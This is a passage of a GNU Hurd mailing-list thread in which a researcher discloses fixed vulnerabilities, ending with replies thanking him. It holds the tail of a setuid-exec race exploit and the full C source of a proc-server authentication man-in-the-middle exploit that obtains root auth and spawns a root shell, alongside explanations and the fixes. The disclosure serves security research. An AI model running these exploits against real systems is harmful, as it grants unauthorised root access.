  if (err)
    error (1, err, "proc_getmsgport");

  /* Kill the hanging child task, we no longer need it.  */
  kill (child_pid, SIGKILL);

  err = msg_get_init_port (pid1_msgport, pid1_task,
                           INIT_PORT_AUTH, &root_auth);
  if (err)
    error (1, err, "msg_get_init_port");

  fprintf (stderr, "Got root auth port :)\n");

  err = setauth (root_auth);
  if (err)
    error (1, err, "setauth");

  if (setresuid (0, 0, 0) < 0)
    error (0, errno, "setresuid");
  if (setresgid (0, 0, 0) < 0)
    error (0, errno, "setresgid");

  execl ("/bin/bash", "/bin/bash", NULL);
  error (1, errno, "failed to exec bash");
}


Notes
=====

Actually, the situation is more complicated due to the "process owner" feature.
This feature turned out to itself cause problems and vulnerabilities, so I ended
up removing it altogether. The patch [0] has more details.

[0]: https://salsa.debian.org/hurd-team/hurd/-/blob/4d1b079411e2f40576e7b58f9b5b78f733a2beda/debian/patches/0034-proc-Use-UIDs-for-evaluating-permissions.patch

The setuid exec implementation is naturally a promising target to attack, since
it involves raising privileges, and implementing _that_ correctly can be
problematic even in monolithic systems -- typically, some sort of ptrace access
would not be invalidated atomically with raising privileges. Here are two
examples of that in SerenityOS [1] [2], and here's a XNU vulnerability [3]
involving setuid exec and task ports. This only becomes more challenging to do
correctly in a distributed system like the Hurd, as several pieces of state,
kept by various servers, all need to be updated as a part of setuid exec.

[1]: https://hxp.io/blog/79/hxp-CTF-2020-wisdom2/
[2]: https://github.com/SerenityOS/serenity/issues/5230
[3]: https://googleprojectzero.blogspot.com/2016/03/race-you-to-kernel.html

It is quite likely that there still are more undiscovered issues in the setuid
exec implementation.


How we fixed the vulnerability
==============================

I've made the case that all the three actions that the process server does:

* reauthenticating the process
* assigning a new task to the process
* invalidating the old process port

have to be done atomically. Making any one of them earlier (or later) than
others opens up a possibility for exploitation. To this end, we've introduced a
new RPC to do all three atomically:

/* Change the current authentication of the process and assign a different
   task to it, atomically.  The user should follow this call with a call to
   auth_user_authenticate.  The new_port passed back through the auth server
   will be the new proc port.  The old proc port is destroyed.  */
simpleroutine proc_reauthenticate_reassign (
	old_process: process_t;
	rendezvous: mach_port_send_t;
	new_task: task_t);

The exec server and exec_reauth () have then been updated to call this new RPC
instead of the old proc_reassign () and proc_reauthenticate ().


^ permalink raw reply	[flat|nested] 11+ messages in thread

* [VULN 4/4] Process auth man-in-the-middle
  2021-11-02 16:31 [VULN 0/4] Hurd vulnerability details Sergey Bugaev
                   ` (2 preceding siblings ...)
  2021-11-02 16:31 ` [VULN 3/4] setuid exec race Sergey Bugaev
@ 2021-11-02 16:31 ` Sergey Bugaev
  2021-11-02 16:35 ` [VULN 0/4] Hurd vulnerability details Samuel Thibault
  2021-11-02 21:56 ` Guy-Fleury Iteriteka
  5 siblings, 0 replies; 11+ messages in thread
From: Sergey Bugaev @ 2021-11-02 16:31 UTC (permalink / raw)
  To: bug-hurd
  Cc: squid3, Sergey Bugaev, debian-hurd, samuel.thibault, jlledom,
	guix-devel, rbraun

Short description
=================

The use of authentication protocol in the proc server is vulnerable to
man-in-the-middle attacks, which can be exploited for local privilege escalation
to get full root access to the system.


Background: authentication
==========================

Here, the word "authentication" refers not to a human user signing in to the
system, but rather to a component of the system communicating and proving its
authority to another component of the system. For example, to be able to open
and read a file, a client process may need to convince the translator which
provides the file that the client has the appropriate UIDs to be allowed to
access the file. Essentially, the Hurd authentication mechanism serves to bridge
the capability system of Mach with the *ambient authority* system of Unix UIDs.

To make the rest of the description easier to follow, I'm going to name the
involved actors, as is commonly done in literature [0]:

* Alice is a client process who wishes to authenticate itself
* Bob is a server process who's accepting authentication
* Carol is the Hurd auth server

[0]: https://en.wikipedia.org/wiki/Alice_and_Bob

The Hurd represents authority as _auth handles_, which are ports to the auth
server (Carol); each auth handle corresponds to a set of UIDs (and GIDs)
maintained by Carol. For Alice to authenticate itself to Bob means her
demonstrating (and proving) to Bob that she has an auth handle with a given set
of UIDs. A straightforward way to do that would be for Alice to send her auth
handle to Bob, letting Bob inspect it (by asking Carol what UIDs it represents).
However, giving Bob direct access to the auth handle is completely unacceptable,
because Alice may actually be more privileged than Bob: for instance, Alice may
be a root-owned process who reads a file from a file system implemented by Bob,
an unprivileged translator. The mere act of Alice authenticating herself should
not result in Bob getting root access.

So the Hurd authentication mechanism is instead designed as a three-way
handshake between Alice, Bob, and Carol:

1. First, Alice and Bob "shake hands" by agreeing on a "rendezvous" port right;
   this port right does not have to be anything special, but the two sides need
   to be in agreement about what it is. The typical way this works is that Alice
   creates a fresh new port to serve as the rendezvous port, and initiates the
   authentication process by sending the rendezvous port to Bob in a
   foo_reauthenticate () RPC call.

2. Next, Alice "shakes hands" with Carol the auth server by sending her the
   rendezvous port in a auth_user_authenticate () RPC call on her auth handle.

3. Concurrently with that, upon receiving the rendezvous port from Alice, Bob
   also "shakes hands" with Carol by also sending her the rendezvous port in a
   auth_server_authenticate () RPC call.

Carol matches up the two calls by the rendezvous port and returns Alice's UIDs
(but not her handle!) to Bob. Provided Bob trusts Carol (as he should, since
she's the trusted system auth server), he now reliably knows Alice's UIDs, but
he never got access to her auth handle.

Note: the role the rendezvous port plays in this is in a way similar to a
single-use read-only auth handle.


Background: man-in-the-middle attacks
=====================================

The design described above still has a fatal flaw: the possibility of
man-in-the-middle attacks. Let's imagine there's another process, Eve, who
stands in between Alice and Bob; so Alice is not talking to Bob directly, but
rather to Eve, while Eve is trying to impersonate Alice to Bob. (It would
perhaps be more correct to name the attacker Mallory rather than Eve, but I've
been thinking of her as of Eve for multiple years now, so I'll stick with that
name.)

Alice sends her rendezvous port to Eve in a foo_reauthenticate () RPC call. Eve,
instead of sending the port to Carol the auth server in a
auth_server_authenticate () call, forwards the port to Bob in her own
foo_reauthenticate () call. Bob then asks Carol about this rendezvous port, and
gets Alice's UIDs in response, since it's Alice (and not Eve) who passes the
rendezvous port to Carol on the client side. Yet, Bob believes the UIDs to
belong to Eve, since it's her who has been interacting with him. And so, Eve has
now effectively stolen Alice's identity.

Knowing that this could happen, Bob has to be aware that the UIDs Carol tells
him about may not, in fact, belong to the client who has initiated the
authentication process with him (Eve), they may instead belong to someone else
(Alice) who's being man-in-the-middle-attacked.

To make this work, the Hurd authentication protocol has one more feature: the
_new port_ mechanism. This new port is a port right that Bob may pass back to
Alice through Carol. Bob passes this new port to auth_server_authenticate (),
and Alice receives it from auth_user_authenticate (). In case of a
man-in-the-middle attack, it is Alice -- the actual owner of those UIDs that Bob
sees -- who receives this new port, not Eve, who has been interacting with Bob
and has initiated the authentication process. In other words, while Eve might be
able to play a man-in-the-middle up and until the authentication, once the
authentication is complete Alice and Bob will have a direct connection that
doesn't go through Eve, and it's this new connection that their further
communication should go through. (Exercise for the reader: if so, how is it
possible that rpctrace, the ultimate man-in-the-middle eavesdropping tool,
continues tracing calls on the new port after reauthentication just fine?)

As a consequence of this design, after the authentication, Bob should not trust
the original port -- the one foo_reauthenticate () has been called on -- any
more than he had trusted it before, because the port may still belong to Eve,
not Alice. Instead, Bob should trust the new port he has created and passed to
Alice, because he knows that this port is actually Alice's, not Eve's.


Background: uses of authentication
==================================

There are two protocols that use authentication in the Hurd: the I/O protocol
and the process protocol.

Filesystem translators typically structure their internal data model in such a
way that an io_t port refers to a "protid", that is, to a structure containing
authority information and a reference to a "peropen", which in turn contains
things like open flags and the current file offset, and in turn points to the
actual filesystem node. Multiple peropens can be made that refer to the same
file (if the file is opened multiple times). Multiple protids can be made that
refer to the same peropen, differing in authority, with the io_reauthenticate ()
call. A port to the new protid, having the new set of UIDs, is the _new port_
passed to the authenticating client through the auth server; the old protid is
not altered in any way, in full accordance with the reasoning presented above.

The other place where authentication is used is processes authenticating
themselves to the proc server. There can only be a single process port for one
process, not multiple differently authenticated ones, so the proc server does
not use the _new port_ mechanism and instead updates its idea of which UIDs the
process has directly.

In the case of proc_reauthenticate () it is fine that the new port mechanism is
unused, since, while you generally can't trust the translators you interact
with, processes trust the proc server to not play man-in-the-middle attacks
against them (indeed, the process server already has their task ports and
therefore complete access to anything that they have). Or in other terms, Alice
the client can be sure she's talking to Bob the proc server, and not to Eve,
since the connection is trusted.


The issue
=========

The justification presented in the above paragraph is actually insufficient. It
is still possible to exploit the fact that proc_reauthenticate () updates its
idea of process auth in-place instead of creating a separate new port.

Even though it's true that Alice knows for sure that she's talking to Bob the
proc server, Bob cannot be sure he's indeed talking to Alice (the owner of the
UIDs Bob gets from Carol), not Eve. It may be the case that Alice has been
authenticating to Eve for an entirely different reason -- specifically, Eve may
pose as a translator, and Alice may be a client of hers -- and Eve may have
forwarded Alice's rendezvous port to Bob the proc server, saying she wishes to
reauthenticate her process. Since there's nothing about rendezvous ports, nor
about the auth_{user,server}_authenticate () APIs, that identifies what kind of
port (process, or I/O, or potentially something else) is being reauthenticated,
it's entirely possible to forward a rendezvous port created for reauthenticating
an I/O handle to the proc server who expects to reauthenticate a process.


The exploit
===========

To exploit this, we basically have to implement the Eve side of the
man-in-the-middle attack against the proc server, and trick some privileged
Alice into authenticating to us.

To get someone privileged to authenticate to me, I went with the same
exec(/bin/su) trick, which makes the root filesystem reauthenticate all of the
processes file descriptors. If we place our own port among the file descriptors,
we'll get a io_reauthenticate () call from the root filesystem on it, which
we'll forward to the proc server, pretending to reauthenticate our process.

We launch a separate thread that will call _hurd_exec_paths (), which will block
until the exec is complete; we listen for messages sent to our fake file
descriptor port on the main thread. Once we're done with these shenanigans, it's
a good idea to close the file descriptor back, in order for it to not create
more troubles for us when we _actually_ start reauthenticating our file
descriptors during the setauth () call.


Exploit source code
===================

#include <mach/mach.h>
#include <stdio.h>
#include <error.h>
#include <unistd.h>
#include <stdlib.h>
#include <pthread.h>
#include <hurd.h>
#include <hurd/paths.h>
#include <hurd/msg.h>

#include "ioServer.h"

int ok_to_continue = 0;
pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;
pthread_cond_t cond = PTHREAD_COND_INITIALIZER;

kern_return_t
S_io_reauthenticate (mach_port_t io,
                     mach_port_t rend)
{
  auth_t root_auth;
  process_t proc = getproc ();
  error_t err;
  task_t pid1_task;
  mach_port_t pid1_msgport;

  err = proc_reauthenticate (proc, rend, MACH_MSG_TYPE_MOVE_SEND);
  if (err)
    error (1, err, "proc_reauthenticate");

  sleep (2);

  pid1_task = pid2task (1);
  if (!pid1_task)
    error (1, errno, "pid2task");

  err = proc_getmsgport (proc, 1, &pid1_msgport);
  if (err)
    error (1, err, "proc_getmsgport");

  err = msg_get_init_port (pid1_msgport, pid1_task,
                           INIT_PORT_AUTH, &root_auth);
  if (err)
    error (1, err, "msg_get_init_port");

  fprintf (stderr, "Got root auth port :)\n");

  pthread_mutex_lock (&mutex);
  while (!ok_to_continue)
    pthread_cond_wait (&cond, &mutex);
  pthread_mutex_unlock (&mutex);

  err = setauth (root_auth);
  if (err)
    error (1, err, "setauth");

  if (setresuid (0, 0, 0) < 0)
    error (0, errno, "setresuid");
  if (setresgid (0, 0, 0) < 0)
    error (0, errno, "setresgid");

  execl ("/bin/bash", "/bin/bash", NULL);
  error (1, errno, "failed to exec bash");
}

mach_port_t port;

void *
thread_fn (void *meh)
{
  error_t err;
  task_t child;
  file_t su;
  int fd;

  fd = openport (port, 0);

  su = file_name_lookup ("/bin/su", O_EXEC, 0);
  if (err)
    error (1, err, "file_name_lookup");

  err = task_create (mach_task_self (), 0, &child);
  if (err)
    error (1, err, "task_create");

  err = _hurd_exec_paths (child, su,
                          "/bin/su", "bin/su",
                          NULL, NULL);
  if (err)
    error (1, err, "_hurd_exec_paths");

  close (fd);

  pthread_mutex_lock (&mutex);
  ok_to_continue = 1;
  pthread_mutex_unlock (&mutex);
  pthread_cond_signal (&cond);

  sleep (10000);
}

extern boolean_t
io_server (mach_msg_header_t *inp,
           mach_msg_header_t *outp);

int
main ()
{
  error_t err;
  pthread_t thread;

  port = mach_reply_port ();

  err = mach_port_insert_right (mach_task_self (),
                                port, port,
                                MACH_MSG_TYPE_MAKE_SEND);
  if (err)
    error (1, err, "mach_port_insert_right");

  err = pthread_create (&thread, NULL, thread_fn, NULL);
  if (err)
    error (1, err, "pthread_create");

  mach_msg_server (io_server, 1024, port);
}


Notes
=====

To build the exploit from source, you'll need to generate ioServer.c and
ioServer.h using MIG. A condition variable is probably an overkill for closing a
file descriptor, but the exploit does not aspire to be optimal in any way, it
just needs to successfully give me a root shell :)

Amusingly enough, authenticating to the proc server could instead be done as
simply as

routine proc_reauthenticate (
        process: process_t;
        auth: auth_t);

i.e. by simply sending an auth handle to the proc server, since, again, we know
for sure that the process server won't try to steal our auth, and it has no need
to. This would avoid *so* much of all these complications.

Also, I believe that it would, in theory, be possible to rearchitecture the proc
server to support multiple differently authenticated ports to the same process
(like protids in translators), while keeping calls like proc_pid2proc () and
proc_task2proc () working in a somewhat reasonable way. But I'm not at all
convinced that attempting this would be a good idea.


How we fixed the vulnerability
==============================

Conceptually, we want to make sure that Alice is indeed reauthenticating her
process, and not authenticating for some other reason. If she is, we know for
sure that she's talking to the proc server directly and there's no Eve to worry
about. To this end, we've made two changes:

* proc_reauthenticate () now creates a new port for the process and sends it to
  Alice via the new port mechanism. The old port is destroyed.

* There's a new RPC, proc_reauthenticate_complete (), which Alice has to call
  after receiving the new process port. This is how she confirms that she is
  indeed reauthenticating her process.

Only recreating the process port would not be enough. This is because, even
though the new port is reliably sent to Alice and not Eve, Eve would still be
able to get the new port. To do this, she would only need some other process
handle, on which she'd call proc_task2proc () passing her task port.

In the actual design, Eve wouldn't be able to access the new port this way,
because no changes to the process port or credentials are committed until and
unless the proc_reauthenticate_complete () call is received on the new port.


^ permalink raw reply	[flat|nested] 11+ messages in thread

* Re: [VULN 0/4] Hurd vulnerability details
  2021-11-02 16:31 [VULN 0/4] Hurd vulnerability details Sergey Bugaev
                   ` (3 preceding siblings ...)
  2021-11-02 16:31 ` [VULN 4/4] Process auth man-in-the-middle Sergey Bugaev
@ 2021-11-02 16:35 ` Samuel Thibault
  2021-11-02 20:32   ` Vasileios Karaklioumis
  2021-11-09 17:19   ` Ludovic Courtès
  2021-11-02 21:56 ` Guy-Fleury Iteriteka
  5 siblings, 2 replies; 11+ messages in thread
From: Samuel Thibault @ 2021-11-02 16:35 UTC (permalink / raw)
  To: Sergey Bugaev; +Cc: squid3, bug-hurd, debian-hurd, guix-devel, jlledom, rbraun

Hello,

Thanks a lot for this writing! That'll surely be an interesting read for
whoever wants to look a bit at the details of how the Hurd works. And of
course thanks for finding and fixing the vulnerabilities :)

Samuel


^ permalink raw reply	[flat|nested] 11+ messages in thread

* Re: [VULN 0/4] Hurd vulnerability details
  2021-11-02 16:35 ` [VULN 0/4] Hurd vulnerability details Samuel Thibault
@ 2021-11-02 20:32   ` Vasileios Karaklioumis
  2021-11-09 17:19   ` Ludovic Courtès
  1 sibling, 0 replies; 11+ messages in thread
From: Vasileios Karaklioumis @ 2021-11-02 20:32 UTC (permalink / raw)
  To: Sergey Bugaev, bug-hurd, debian-hurd, ludo, guix-devel, jlledom,
	jbranso, squid3, rbraun

[-- Attachment #1: Type: text/plain, Size: 406 bytes --]

Fantastic work and writeup.

Apologies for interjecting here.

On Tue, Nov 2, 2021 at 6:54 PM Samuel Thibault <samuel.thibault@gnu.org>
wrote:

> Hello,
>
> Thanks a lot for this writing! That'll surely be an interesting read for
> whoever wants to look a bit at the details of how the Hurd works. And of
> course thanks for finding and fixing the vulnerabilities :)
>
> Samuel
>
>

-- 
V. G. Karaklioumis

[-- Attachment #2: Type: text/html, Size: 875 bytes --]

^ permalink raw reply	[flat|nested] 11+ messages in thread

* Re: [VULN 0/4] Hurd vulnerability details
  2021-11-02 16:31 [VULN 0/4] Hurd vulnerability details Sergey Bugaev
                   ` (4 preceding siblings ...)
  2021-11-02 16:35 ` [VULN 0/4] Hurd vulnerability details Samuel Thibault
@ 2021-11-02 21:56 ` Guy-Fleury Iteriteka
  5 siblings, 0 replies; 11+ messages in thread
From: Guy-Fleury Iteriteka @ 2021-11-02 21:56 UTC (permalink / raw)
  To: bug-hurd, Sergey Bugaev
  Cc: squid3, debian-hurd, ludo, samuel.thibault, jlledom, guix-devel,
	jbranso, rbraun

[-- Attachment #1: Type: text/plain, Size: 3442 bytes --]

Thank you very much!
I now understand things that I desperately want to know about hurd internal.

On November 2, 2021 6:31:17 PM GMT+02:00, Sergey Bugaev <bugaevc@gmail.com> wrote:
>Hello!
>
>As promised [0], here are the details of the Hurd vulnerabilities I have found
>earlier this year [1] [2].
>
>[0]: https://lists.gnu.org/archive/html/bug-hurd/2021-10/msg00006.html
>[1]: https://lists.gnu.org/archive/html/bug-hurd/2021-05/msg00079.html
>[2]: https://lists.gnu.org/archive/html/bug-hurd/2021-08/msg00008.html
>
>(You'll notice that I'm formatting this just like a patch series. I'll even try
>to send it out with git send-email; if you're reading this, it has worked!)
>
>These texts are partly based on the mails and write-ups I sent to Samuel at the
>time, but most of the text is new, rewritten to incorporate the better
>understanding that I now have as the result of exploring the issues and working
>with Samuel on fixing them.
>
>I've grouped the information by the four "major" vulnerabilities -- ones that I
>have actually written an exploit for. Other related vulnerabilities are briefly
>mentioned in the notes sections.
>
>Each text contains a short and a detailed description of the relevant issue,
>source code of the exploit I have written for the issue, commentary on how the
>exploit works, and a description of how we fixed the issue. While this should
>hopefully be an interesting read for everyone, understanding some of the details
>requires some familiarity with the Mach and Hurd mechanisms involved. I've tried
>to briefly describe the necessary bits (as I understand them myself) in the
>"Background" sections throughout the texts -- hopefully this will make it easier
>to understand. Please don't hesitate to ask me questions (while I can still
>answer them)!
>
>I also hope that all this info should be enough to finally allocate official
>CVEs for these vulnerabilities, if anyone is willing to go forward with that in
>my absence.
>
>While all of the vulnerabilities described have been fixed, most of the fixes
>are not yet in the main Hurd tree for legal reasons: namely, my FSF copyright
>assignment process is still unfinished. All the out-of-tree patches with the
>fixes can be found in the Debian repo [3].
>
>[3]: https://salsa.debian.org/hurd-team/hurd/-/tree/master/debian/patches
>
>Our work on fixing these vulnerabilities required some large changes and touches
>most of the major Hurd components (now I can actually name them: glibc, GNU
>Mach, libports, libpager, libfshelp, libshouldbeinlibc, lib*fs, proc server,
>exec server, *fs, ...) -- and this was even more true of the previous designs
>that we have considered (the final design ended up being the most compact one).
>Still, it's kind of amazing _how little_ has changed: we managed to keep most
>things working just as they were (with the notable exception of mremap ()). The
>Hurd still looks and behaves like the Hurd, despite all the changes.
>
>Finally, I should note that there still are unfixed vulnerabilities in the Hurd.
>There's another "major" vulnerability that I have already written an exploit
>for, but I can't publish the details since it's still unfixed. I won't be there
>to see it fixed (assuming it will take less than a year to fix it -- which I
>hope it will), but Samuel should have all the details.
>
>Let me know what you think!
>
>Sergey
>

[-- Attachment #2: Type: text/html, Size: 4087 bytes --]

^ permalink raw reply	[flat|nested] 11+ messages in thread

* Re: [VULN 0/4] Hurd vulnerability details
  2021-11-02 16:35 ` [VULN 0/4] Hurd vulnerability details Samuel Thibault
  2021-11-02 20:32   ` Vasileios Karaklioumis
@ 2021-11-09 17:19   ` Ludovic Courtès
  2021-11-09 17:28     ` Samuel Thibault
  1 sibling, 1 reply; 11+ messages in thread
From: Ludovic Courtès @ 2021-11-09 17:19 UTC (permalink / raw)
  To: Sergey Bugaev; +Cc: squid3, bug-hurd, debian-hurd, guix-devel, jlledom, rbraun

Hello,

Samuel Thibault <samuel.thibault@gnu.org> skribis:

> Thanks a lot for this writing! That'll surely be an interesting read for
> whoever wants to look a bit at the details of how the Hurd works. And of
> course thanks for finding and fixing the vulnerabilities :)

Seconded.  It’s interesting both from a security perspective and as a
deep dive into Mach/Hurd internals; excellent work, Sergey!

Am I right that the fixes have not been applied yet in the upstream
repository?

Thanks,
Ludo’.


^ permalink raw reply	[flat|nested] 11+ messages in thread

* Re: [VULN 0/4] Hurd vulnerability details
  2021-11-09 17:19   ` Ludovic Courtès
@ 2021-11-09 17:28     ` Samuel Thibault
  2021-11-17 10:45       ` Ludovic Courtès
  0 siblings, 1 reply; 11+ messages in thread
From: Samuel Thibault @ 2021-11-09 17:28 UTC (permalink / raw)
  To: Ludovic Courtès
  Cc: squid3, bug-hurd, Sergey Bugaev, debian-hurd, jlledom,
	guix-devel, rbraun

Ludovic Courtès, le mar. 09 nov. 2021 18:19:03 +0100, a ecrit:
> Am I right that the fixes have not been applied yet in the upstream
> repository?

That's right. That's still waiting for the copyright assignment.

Samuel


^ permalink raw reply	[flat|nested] 11+ messages in thread

* Re: [VULN 0/4] Hurd vulnerability details
  2021-11-09 17:28     ` Samuel Thibault
@ 2021-11-17 10:45       ` Ludovic Courtès
  0 siblings, 0 replies; 11+ messages in thread
From: Ludovic Courtès @ 2021-11-17 10:45 UTC (permalink / raw)
  To: Sergey Bugaev; +Cc: squid3, bug-hurd, debian-hurd, jlledom, guix-devel, rbraun

Hi Samuel, Sergey, & all,

Samuel Thibault <samuel.thibault@gnu.org> skribis:

> Ludovic Courtès, le mar. 09 nov. 2021 18:19:03 +0100, a ecrit:
>> Am I right that the fixes have not been applied yet in the upstream
>> repository?
>
> That's right. That's still waiting for the copyright assignment.

How about making it the first contribution without FSF copyright
assignment?

The delay we observe here might be an outlier in FSF assignment
processing times, but regardless, it’s a good illustration of what a
project can lose by waiting for this long.

Thanks,
Ludo’.


^ permalink raw reply	[flat|nested] 11+ messages in thread

end of thread, other threads:[~2021-11-17 10:46 UTC | newest]

Thread overview: 11+ messages (download: mbox.gz / follow: Atom feed)
-- links below jump to the message on this page --
2021-11-02 16:31 [VULN 0/4] Hurd vulnerability details Sergey Bugaev
2021-11-02 16:31 ` [VULN 1/4] Fake notifications Sergey Bugaev
2021-11-02 16:31 ` [VULN 2/4] No read-only mappings Sergey Bugaev
2021-11-02 16:31 ` [VULN 3/4] setuid exec race Sergey Bugaev
2021-11-02 16:31 ` [VULN 4/4] Process auth man-in-the-middle Sergey Bugaev
2021-11-02 16:35 ` [VULN 0/4] Hurd vulnerability details Samuel Thibault
2021-11-02 20:32   ` Vasileios Karaklioumis
2021-11-09 17:19   ` Ludovic Courtès
2021-11-09 17:28     ` Samuel Thibault
2021-11-17 10:45       ` Ludovic Courtès
2021-11-02 21:56 ` Guy-Fleury Iteriteka

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox;
as well as URLs for read-only IMAP folder(s) and NNTP newsgroup(s).